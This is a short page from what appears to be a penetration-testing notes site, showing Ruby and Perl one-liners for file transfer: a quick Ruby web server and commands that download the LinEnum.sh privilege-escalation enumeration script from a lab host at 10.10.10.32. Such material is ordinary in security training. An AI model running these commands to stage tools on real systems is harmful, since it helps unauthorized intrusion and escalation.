> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/file-transfers/file-transfers/ruby-perl-transfers.md).

# Ruby & Perl Transfers

## Ruby Web Server

```bash
ruby -run -ehttpd . -p8000
```

## Ruby Download

```bash
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("http://10.10.10.32/LinEnum.sh")))'
```

***

## Perl Download

```bash
perl -e 'use LWP::Simple; getstore("http://10.10.10.32/LinEnum.sh", "LinEnum.sh");'
```
